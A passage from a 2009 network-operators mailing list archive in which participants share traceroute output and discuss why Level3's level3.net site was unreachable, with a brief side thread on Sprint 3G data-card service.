ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms >> > 16.393 ms > >> 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 >> > ms 10.833 ms > >> 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms >> > 14.474 ms > >> 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 >> > ms 9.725 ms > >> 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 >> > ms 16.275 ms > >> 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms >> > ae-74->74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms > ae-84->84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms > >> 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms >> > ae-62->62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms > ae-72->72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms > >> 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms >> > 45.774 ms > >> 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 >> > ms 38.135 ms > >> 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms >> > 67.937 ms > >> 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H >> > ge-9->1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H > ge-9-2.hsa1.Denver1.Level3.net>(4.68.107.163) 75.797 ms !H > >> >> (From Texas through Above.net) >> $ traceroute level3.net|tail -n 1 >> traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets >> 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * >> > ge-6->0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H > >> Confirmed it can't be reached from Travelers Ins, The >> Hartford, none of my connections. Anyone else seeing >> issues? I'm seeing drop off from clients going through >> their Atlanta interconnects with Charter and two other >> providers, which I can't make sense of. I DO KNOW they >> experienced some sort of issue with a TDM switch or so >> they said... Very broad statements: "We know teh >> interwebs are down please stand by" >> >> I know websites are one thing, but the chances of the >> website going down, a TDM switch being wacky and now >> clients traversing their networks complaining all at >> once seems a little out of the ordinary. >> >> =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+>=+=+ >> J. Oquendo >> SGFA, SGFE, C|EH, CNDA, CHFI, OSCP >> >> "It takes 20 years to build a reputation and five minutes to >> ruin it. If you think about that, you'll do things >> differently." - Warren Buffett >> >> 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E >> http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E >> >> > Looks similar from Sprints perspective via > https://www.sprint.net/lg/lg_start.php as well... > > Sprint Source Region: Anaheim, CA (sl-bb20-ana) > IP Destination: 63.211.236.36 > Performing: ICMP Traceroute > Tracing the route to 63.211.236.36 > 1 sl-crs2-ana-0-13-5-0.sprintlink.net (144.232.1.177) 4 msec 0 msec 0 > msec > 2 144.232.19.227 4 msec 24 msec > sl-st30-la-0-4-5-0.sprintlink.net (144.232.24.41) 0 msec > 3 xe-7-3-0.edge1.losangeles9.Level3.net (4.68.111.169) [AS 3356] 4 > msec > xe-7-2-0.edge1.losangeles9.Level3.net (4.68.111.89) [AS 3356] 0 msec > 0 msec > 4 vlan69.csw1.LosAngeles1.Level3.net (4.68.20.62) [AS 3356] 16 msec > vlan99.csw4.LosAngeles1.Level3.net (4.68.20.254) [AS 3356] 12 msec > vlan89.csw3.LosAngeles1.Level3.net (4.68.20.190) [AS 3356] 24 msec > 5 ae-63-63.ebr3.LosAngeles1.Level3.net (4.69.137.33) [AS 3356] 4 msec > 12 msec > ae-93-93.ebr3.LosAngeles1.Level3.net (4.69.137.45) [AS 3356] 4 msec > 6 ae-2.ebr3.SanJose1.Level3.net (4.69.132.9) [AS 3356] 40 msec 16 msec > 16 msec > 7 ae-73-73.csw2.SanJose1.Level3.net (4.69.134.230) [AS 3356] 16 msec > ae-63-63.csw1.SanJose1.Level3.net (4.69.134.226) [AS 3356] 12 msec > 12 msec > 8 ae-82-82.ebr2.SanJose1.Level3.net (4.69.134.217) [AS 3356] 12 msec > ae-92-92.ebr2.SanJose1.Level3.net (4.69.134.221) [AS 3356] 32 msec > 12 msec > 9 ae-3.ebr1.Denver1.Level3.net (4.69.132.58) [AS 3356] 60 msec 48 msec > 52 msec > 10 ge-6-1.hsa1.Denver1.Level3.net (4.68.107.67) [AS 3356] !H > ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) [AS 3356] !H * > > Completed - Wed Apr 15 15:43:21 EDT 2009 > > Sprint Source Region: Atlanta, GA (sl-bb20-atl) > IP Destination: 63.211.236.36 > Performing: ICMP Traceroute > Tracing the route to 63.211.236.36 > 1 sl-bb21-atl-14-0.sprintlink.net (144.232.12.142) 0 msec 0 msec 0 > msec > 2 sl-crs1-atl-0-4-0-3.sprintlink.net (144.232.12.148) 4 msec 0 msec 0 > msec > 3 sl-crs1-rly-0-0-5-0.sprintlink.net (144.232.20.177) 20 msec 16 msec > 16 msec > 4 sl-crs1-dc-0-8-0-0.sprintlink.net (144.232.19.213) 20 msec 20 msec > 24 msec > 5 sl-st31-ash-0-4-0-1.sprintlink.net (144.232.19.4) 20 msec 20 msec 24 > msec > 6 4.68.63.205 [AS 3356] 20 msec > te-10-1-0.edge2.Washington4.level3.net (4.68.63.209) [AS 3356] 20 > msec 24 msec > 7 vlan79.csw2.Washington1.Level3.net (4.68.17.126) [AS 3356] 24 msec > 28 msec > vlan89.csw3.Washington1.Level3.net (4.68.17.190) [AS 3356] 28 msec > 8 ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) [AS 3356] 24 > msec > ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) [AS 3356] 24 > msec 24 msec > 9 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) [AS 3356] 28 msec 28 > msec 28 msec > 10 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) [AS 3356] 28 msec > 28 msec 28 msec > 11 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) [AS 3356] 48 msec 48 msec > 52 msec > 12 ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) [AS 3356] !H > ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) [AS 3356] !H * > Completed - Wed Apr 15 15:44:17 EDT 2009 > > Sprint Source Region: Chicago, IL (sl-bb20-chi) > IP Destination: 63.211.236.36 > Performing: ICMP Traceroute > Tracing the route to 63.211.236.36 > 1 sl-crs1-chi-0-0-0-0.sprintlink.net (144.232.26.115) 0 msec 4 msec 0 > msec > 2 sl-st20-chi-4-0-0.sprintlink.net (144.232.18.153) 0 msec > sl-st20-chi-13-0-0.sprintlink.net (144.232.20.3) 0 msec 0 msec > 3 144.232.19.174 0 msec 0 msec 4 msec > 4 ae-31-53.ebr1.Chicago1.Level3.net (4.68.101.94) [AS 3356] 8 msec > ae-31-51.ebr1.Chicago1.Level3.net (4.68.101.30) [AS 3356] 8 msec > ae-31-55.ebr1.Chicago1.Level3.net (4.68.101.158) [AS 3356] 4 msec > 5 ae-6.ebr1.Chicago2.Level3.net (4.69.140.190) [AS 3356] 0 msec 4 msec > 0 msec > 6 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) [AS 3356] 44 msec 44 msec > 36 msec > 7 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) [AS 3356] !H > ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) [AS 3356] !H * > > Completed - Wed Apr 15 15:44:49 EDT 2009 > > Sprint Source Region: Relay, MD (sl-bb20-rly) > IP Destination: 63.211.236.36 > Performing: ICMP Traceroute > Tracing the route to 63.211.236.36 > 1 sl-crs2-rly-0-1-0-0.sprintlink.net (144.232.3.96) 0 msec 0 msec 4 > msec > 2 sl-crs2-dc-0-12-2-0.sprintlink.net (144.232.19.221) 0 msec 0 msec 0 > msec > 3 sl-st31-ash-0-8-0-0.sprintlink.net (144.232.19.6) 0 msec > sl-st31-ash-0-1-0-0.sprintlink.net (144.232.19.230) 0 msec > sl-st31-ash-0-8-0-0.sprintlink.net (144.232.19.6) 4 msec > 4 4.68.63.205 [AS 3356] 4 msec > te-10-1-0.edge2.Washington4.level3.net (4.68.63.209) [AS 3356] 0 > msec > 4.68.63.205 [AS 3356] 0 msec > 5 vlan69.csw1.Washington1.Level3.net (4.68.17.62) [AS 3356] 0 msec > vlan89.csw3.Washington1.Level3.net (4.68.17.190) [AS 3356] 4 msec 12 > msec > 6 ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) [AS 3356] 4 msec > ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) [AS 3356] 0 msec > ae-82-82.ebr2.Washington1.Level3.net (4.69.134.153) [AS 3356] 4 msec > 7 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) [AS 3356] 20 msec 20 > msec 20 msec > 8 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) [AS 3356] 20 msec > 24 msec 20 msec > 9 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) [AS 3356] 52 msec 64 msec > 52 msec > 10 ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) [AS 3356] !H * !H > > Completed - Wed Apr 15 15:45:37 EDT 2009 > > > > -- Alex Thurlow Blastro Networks http://www.blastro.com http://www.roxwel.com http://www.yallwire.com From bpfankuch at cpgreeley.com Wed Apr 15 15:11:34 2009 From: bpfankuch at cpgreeley.com (Blake Pfankuch) Date: Wed, 15 Apr 2009 14:11:34 -0600 Subject: Level3 funkiness In-Reply-To: <20090415193537.GA63377@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> Message-ID: <01759D50DC387C45A018FE1817CE27D754E09A89D5@CPExchange1.cpgreeley.com> 2 dvr-edge-05.inet.qwest.net (72.165.27.181) 27.696 ms 27.688 ms 28.022 ms 3 dvr-core-01.inet.qwest.net (205.171.10.89) 28.010 ms 28.001 ms 27.990 ms 4 * * 67.14.2.89 (67.14.2.89) 50.773 ms 5 xe-8-2-0.edge2.dallas3.level3.net (4.68.63.53) 51.120 ms xe-8-1-0.edge2.dallas3.level3.net (4.68.63.49) 51.107 ms 51.099 ms 6 vlan79.csw2.Dallas1.Level3.net (4.68.19.126) 56.763 ms 37.806 ms vlan89.csw3.Dallas1.Level3.net (4.68.19.190) 33.368 ms 7 ae-82-82.ebr2.Dallas1.Level3.net (4.69.136.145) 35.514 ms ae-72-72.ebr2.Dallas1.Level3.net (4.69.136.141) 44.125 ms ae-62-62.ebr2.Dallas1.Level3.net (4.69.136.137) 44.120 ms 8 ae-2.ebr1.Denver1.Level3.net (4.69.132.105) 50.913 ms 50.895 ms 50.522 ms 9 ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 45.675 ms !H ge-6-1.hsa1.Denver1.Level3.net (4.68.107.67) 46.875 ms !H * -----Original Message----- From: J. Oquendo [mailto:sil at infiltrated.net] Sent: Wednesday, April 15, 2009 1:36 PM To: nanog at nanog.org Subject: Level3 funkiness Anyone else experience sporadic funkiness via Level3? I can't even reach the main website from who knows how many networks I've tried. Also friends and former colleagues have tried to reach the site to no avail. One of my machines on AT&T: # traceroute level3.net traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 ms 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms 10.833 ms 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms 14.474 ms 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms 9.725 ms 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms 16.275 ms 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms 45.774 ms 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms 38.135 ms 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms 67.937 ms 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H (From Texas through Above.net) $ traceroute level3.net|tail -n 1 traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H Confirmed it can't be reached from Travelers Ins, The Hartford, none of my connections. Anyone else seeing issues? I'm seeing drop off from clients going through their Atlanta interconnects with Charter and two other providers, which I can't make sense of. I DO KNOW they experienced some sort of issue with a TDM switch or so they said... Very broad statements: "We know teh interwebs are down please stand by" I know websites are one thing, but the chances of the website going down, a TDM switch being wacky and now clients traversing their networks complaining all at once seems a little out of the ordinary. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E From Sam.Crooks at experian.com Wed Apr 15 15:22:13 2009 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Wed, 15 Apr 2009 15:22:13 -0500 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions- on or off-list replies welcome In-Reply-To: <49E623C0.1070303@rollernet.us> Message-ID: After much hassle and several false starts and disconnects in getting in touch with the right department in Sprint, I spoke to a woman in technical support in the group that supports 3G data cards. She said: - public IP addresses are used - static IP available for $3/mo additional - maximum 3G data plan is 5GB/mo of data transfer, retail reate, $60/mo (which is typically cheaper than your typical ADSL/IDSL or ISDN service cost) Sam Crooks -----Original Message----- From: Seth Mattinen [mailto:sethm at rollernet.us] Sent: Wednesday, April 15, 2009 1:13 PM To: nanog at nanog.org Subject: Re: Looking for AT&T / Verizon / Sprint WWAN service impressions- on or off-list replies welcome Charles Wyble wrote: > > > Crooks, Sam wrote: >> I'm considering use of AT&T / Verizon / Sprint WWAN services and the >> Cisco 3G router interface cards/integrated module in C880 routers for >> primary or backup WAN network connectivity for routers. >> > > I haven't used the integrated cards with cisco gear. However I do have > 300+ cards deployed throughout the United States (EVDO USB modems on > Linux boxes). > > >> I'm looking for information from users of these services on the >> following: >> - addressing - Do these WWAN services use dynamic, PPPoE or static IP >> assignment typically? Any of the 3? All? >> - is static IP assignment available? > > We have static IP assignment for our Verizon cards. Sprint cards > aren't static. > I received an offlist response indicating Sprint now offers static. ~Seth From Jay.Murphy at state.nm.us Wed Apr 15 15:26:24 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Wed, 15 Apr 2009 14:26:24 -0600 Subject: Level3 funkiness In-Reply-To: <002101c9be03$987d5620$c9780260$@net> References: <20090415193537.GA63377@infiltrated.net> <002101c9be03$987d5620$c9780260$@net> Message-ID: Yea Jason, level3.net is unreachable....I am sure it is filtering ICMP, or blocking certain ports, sessions, or services, dude. The level3.net server is used for other purposes as stated in the previous thread, so necessarily it is not a question of destination unknown, DNS, or access for that matter....just you no touchy my server, that's it. I know. Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: Jason Bertoch [mailto:jason at electronet.net] Sent: Wednesday, April 15, 2009 1:52 PM To: nanog at nanog.org Subject: RE: Level3 funkiness > -----Original Message----- > From: J. Oquendo [mailto:sil at infiltrated.net] > Sent: Wednesday, April 15, 2009 3:36 PM > To: nanog at nanog.org > Subject: Level3 funkiness > > > Anyone else experience sporadic funkiness via > Level3? I can't even reach the main website from who > knows how many networks I've tried. Also friends > and former colleagues have tried to reach the site > to no avail. > My Level3 connection is working normally, I can reach their site, and I'm peered in Atlanta. Jason A. Bertoch Network Administrator jason at electronet.net Electronet Broadband Communications 3411 Capital Medical Blvd. Tallahassee, FL 32308 (V) 850.222.0229 (F) 850.222.8771 ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From r.hyunseog at ieee.org Wed Apr 15 15:28:40 2009 From: r.hyunseog at ieee.org (Alex H. Ryu) Date: Wed, 15 Apr 2009 15:28:40 -0500 Subject: Level3 funkiness In-Reply-To: <366100670904151254o34c535dcw6c64c425454f11de@mail.gmail.com> References: <20090415193537.GA63377@infiltrated.net> <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> <366100670904151254o34c535dcw6c64c425454f11de@mail.gmail.com> Message-ID: <49E64378.9040509@ieee.org> maybe host problem? I can reach to www.level3.com, but not www.level3.net. It seems both are belonging to same subnet. Brandon Galbraith wrote: > In Chicago, traceroutes are dying in the same place (Denver). Peered out of > 350 Cermak. > > -brandon > > On Wed, Apr 15, 2009 at 2:45 PM, Charles Mills wrote: > > >> Can't get to level3.net 63.211.236.36 or www.level3.net 4.68.95.28 from >> Pittsburgh either and I peer directly with level3 with a full BGP feed. >> >> >> >> On Wed, Apr 15, 2009 at 3:35 PM, J. Oquendo wrote: >> >> >>> Anyone else experience sporadic funkiness via >>> Level3? I can't even reach the main website from who >>> knows how many networks I've tried. Also friends >>> and former colleagues have tried to reach the site >>> to no avail. >>> >>> One of my machines on AT&T: >>> # traceroute level3.net >>> traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets >>> >>> 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 >>> >> ms >> >>> 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 >>> ms >>> 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 >>> >> ms >> >>> 10.833 ms >>> 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms >>> 14.474 ms >>> 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 >>> >> ms >> >>> 9.725 ms >>> 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 >>> >> ms >> >>> 16.275 ms >>> 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms >>> ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms >>> ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms >>> 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms >>> ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms >>> ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms >>> 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms >>> 45.774 ms >>> 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 >>> >> ms >> >>> 38.135 ms >>> 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms >>> 67.937 ms >>> 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H >>> ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H >>> ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H >>> >>> >>> (From Texas through Above.net) >>> $ traceroute level3.net|tail -n 1 >>> traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets >>> 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * >>> ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H >>> >>> Confirmed it can't be reached from Travelers Ins, The >>> Hartford, none of my connections. Anyone else seeing >>> issues? I'm seeing drop off from clients going through >>> their Atlanta interconnects with Charter and two other >>> providers, which I can't make sense of. I DO KNOW they >>> experienced some sort of issue with a TDM switch or so >>> they said... Very broad statements: "We know teh >>> interwebs are down please stand by" >>> >>> I know websites are one thing, but the chances of the >>> website going down, a TDM switch being wacky and now >>> clients traversing their networks complaining all at >>> once seems a little out of the ordinary. >>> >>> =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ >>> J. Oquendo >>> SGFA, SGFE, C|EH, CNDA, CHFI, OSCP >>> >>> "It takes 20 years to build a reputation and five minutes to >>> ruin it. If you think about that, you'll do things >>> differently." - Warren Buffett >>> >>> 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E >>> http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E >>> >>> >>> >>> >> -- >> >> > > > > From sil at infiltrated.net Wed Apr 15 15:30:05 2009 From: sil at infiltrated.net (J. Oquendo) Date: Wed, 15 Apr 2009 15:30:05 -0500 Subject: Level3 funkiness In-Reply-To: <01759D50DC387C45A018FE1817CE27D754E09A89D5@CPExchange1.cpgreeley.com> References: <20090415193537.GA63377@infiltrated.net> <01759D50DC387C45A018FE1817CE27D754E09A89D5@CPExchange1.cpgreeley.com> Message-ID: <20090415203005.GA71074@infiltrated.net> On Wed, 15 Apr 2009, Blake Pfankuch wrote: > 2 dvr-edge-05.inet.qwest.net (72.165.27.181) 27.696 ms 27.688 ms 28.022 ms > 3 dvr-core-01.inet.qwest.net (205.171.10.89) 28.010 ms 28.001 ms 27.990 ms > 4 * * 67.14.2.89 (67.14.2.89) 50.773 ms > 5 xe-8-2-0.edge2.dallas3.level3.net (4.68.63.53) 51.120 ms xe-8-1-0.edge2.dallas3.level3.net (4.68.63.49) 51.107 ms 51.099 ms > 6 vlan79.csw2.Dallas1.Level3.net (4.68.19.126) 56.763 ms 37.806 ms vlan89.csw3.Dallas1.Level3.net (4.68.19.190) 33.368 ms > 7 ae-82-82.ebr2.Dallas1.Level3.net (4.69.136.145) 35.514 ms ae-72-72.ebr2.Dallas1.Level3.net (4.69.136.141) 44.125 ms ae-62-62.ebr2.Dallas1.Level3.net (4.69.136.137) 44.120 ms > 8 ae-2.ebr1.Denver1.Level3.net (4.69.132.105) 50.913 ms 50.895 ms 50.522 ms > 9 ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 45.675 ms !H ge-6-1.hsa1.Denver1.Level3.net (4.68.107.67) 46.875 ms !H * > Thanks to all who replied. I should have actually reposted traces but it would have annoyed. I had experienced issues connecting to Level3.com, couldn't reach lg.level3 from a wide range of sites. I have a ticket on "watch" mode of sorts concerning a TDM switch having gone down in Connecticut. Just seems a little strange yet another client passing through an interchange with Level3 is now affected as well. I'll let them deal with their own provider. As far as I can tell from the ITSP side of things, I'm alright now. Anyone doing VoIP would have seen the Level3 hiccup up here (Stamford area'ish). =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E From Jay.Murphy at state.nm.us Wed Apr 15 15:36:29 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Wed, 15 Apr 2009 14:36:29 -0600 Subject: Level3 funkiness In-Reply-To: <366100670904151254o34c535dcw6c64c425454f11de@mail.gmail.com> References: <20090415193537.GA63377@infiltrated.net><607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> <366100670904151254o34c535dcw6c64c425454f11de@mail.gmail.com> Message-ID: Listen the two are different, level3.com, and level3.net, the two are colo'd at the same place, thus the reason for the Denver "dying" end point. It's .net as you can see; try surfing to 4.6 8.95.11 yes, 4.68.95.28, no...It's just how the DNS PTR for the box is set. It has nothing to do with the naming convention of the routers or other network elements. Are the two confused? Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: Brandon Galbraith [mailto:brandon.galbraith at gmail.com] Sent: Wednesday, April 15, 2009 1:54 PM To: Charles Mills Cc: nanog at nanog.org Subject: Re: Level3 funkiness In Chicago, traceroutes are dying in the same place (Denver). Peered out of 350 Cermak. -brandon On Wed, Apr 15, 2009 at 2:45 PM, Charles Mills wrote: > Can't get to level3.net 63.211.236.36 or www.level3.net 4.68.95.28 from > Pittsburgh either and I peer directly with level3 with a full BGP feed. > > > > On Wed, Apr 15, 2009 at 3:35 PM, J. Oquendo wrote: > > > > > Anyone else experience sporadic funkiness via > > Level3? I can't even reach the main website from who > > knows how many networks I've tried. Also friends > > and former colleagues have tried to reach the site > > to no avail. > > > > One of my machines on AT&T: > > # traceroute level3.net > > traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets > > > > 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 > ms > > 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 > > ms > > 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 > ms > > 10.833 ms > > 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms > > 14.474 ms > > 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 > ms > > 9.725 ms > > 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 > ms > > 16.275 ms > > 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms > > ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms > > ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms > > 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms > > ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms > > ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms > > 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms > > 45.774 ms > > 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 > ms > > 38.135 ms > > 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms > > 67.937 ms > > 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H > > ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H > > ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H > > > > > > (From Texas through Above.net) > > $ traceroute level3.net|tail -n 1 > > traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets > > 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * > > ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H > > > > Confirmed it can't be reached from Travelers Ins, The > > Hartford, none of my connections. Anyone else seeing > > issues? I'm seeing drop off from clients going through > > their Atlanta interconnects with Charter and two other > > providers, which I can't make sense of. I DO KNOW they > > experienced some sort of issue with a TDM switch or so > > they said... Very broad statements: "We know teh > > interwebs are down please stand by" > > > > I know websites are one thing, but the chances of the > > website going down, a TDM switch being wacky and now > > clients traversing their networks complaining all at > > once seems a little out of the ordinary. > > > > =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ > > J. Oquendo > > SGFA, SGFE, C|EH, CNDA, CHFI, OSCP > > > > "It takes 20 years to build a reputation and five minutes to > > ruin it. If you think about that, you'll do things > > differently." - Warren Buffett > > > > 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E > > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E > > > > > > > > > -- > -- Brandon Galbraith Voice: 630.400.6992 ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not 